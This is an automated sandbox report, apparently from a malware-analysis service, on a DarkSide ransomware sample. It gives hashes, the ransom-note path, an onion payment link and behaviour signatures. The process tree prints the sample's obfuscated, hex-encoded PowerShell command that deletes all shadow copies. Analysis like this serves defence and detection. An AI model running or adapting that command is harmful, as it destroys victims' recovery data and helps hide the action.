Analysis
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max time kernel
110s -
max time network
115s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
12-05-2021 19:34
General
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Target
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
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Size
59KB
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MD5
5ff75d33080bb97a8e6b54875c221777
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SHA1
810d6c70a96584486867cedde111a1087ed1ebe7
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SHA256
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff
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SHA512
a6b87ddcaa797a4d8abc06a786a7186fe43eef5e3291402f81b95a180b7fb746f88cd0f408a089deb5321ecf0d2ac3cca479fdc1f782771749df0ac5a082ac00
Malware Config
Extracted
C:\\README.341d6443.TXT
darkside
http://darksidfqzcuhtk2.onion/45NAQ3FNBX002JPHBAIKB97JVVABJQHTM2HO7XOZRXTEH98CRPXYX09X7VUH0F0W
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 7 IoCs
Ransomware generally changes the extension on encrypted files.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
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Modifies Control Panel 1 IoCs
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Modifies registry class 5 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 24 IoCs
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Suspicious use of WriteProcessMemory 4 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe"C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
7ec043273c8dc7ac33a0575b48d29730
SHA12633d79a63fd4d6c0861f2a8ea60c36cfac39f92
SHA256b4f3c9858fa1c0ebb1c179712793a5245f9dc4fa5dcaf00c32f31a230cf9cd9b
SHA51239ba111171d8ddc995dcefcea33196beecb954c0baec8e9319ea314c279ff5b7611bb9b3c0c1b3cd2ecdd9335ed15c2ee7c12747c47264af921bac4748657f9d
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
f12524f9851552507f6e563abe2cdfc0
SHA1af57a9a122aa4673011a9c43184d0f856d372d16
SHA2563e4110e678aceb35f64453e241a9c92a534d7d5e5490309e757999c4a7c624d2
SHA512f635cdff5819401c0fd5515d78368b611b6bb657a3d1ba75c569861e0915af2a3335a24ce44e4f523b4cf8f381e6e20b9dce2905cecb9ffbb8c62cbc69a94f4f
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memory/628-66-0x0000000002700000-0x0000000002701000-memory.dmpFilesize
4KB
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memory/628-63-0x0000000002600000-0x0000000002601000-memory.dmpFilesize
4KB
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memory/628-64-0x000000001AAC0000-0x000000001AAC1000-memory.dmpFilesize
4KB
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memory/628-65-0x0000000002640000-0x0000000002641000-memory.dmpFilesize
4KB
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memory/628-67-0x000000001AA40000-0x000000001AA42000-memory.dmpFilesize
8KB
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memory/628-68-0x000000001AA44000-0x000000001AA46000-memory.dmpFilesize
8KB
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memory/628-69-0x000000001B790000-0x000000001B791000-memory.dmpFilesize
4KB
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memory/628-70-0x000000001B520000-0x000000001B521000-memory.dmpFilesize
4KB
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memory/628-62-0x000007FEFB9A1000-0x000007FEFB9A3000-memory.dmpFilesize
8KB
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memory/628-61-0x0000000000000000-mapping.dmp
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memory/788-60-0x0000000075A71000-0x0000000075A73000-memory.dmpFilesize
8KB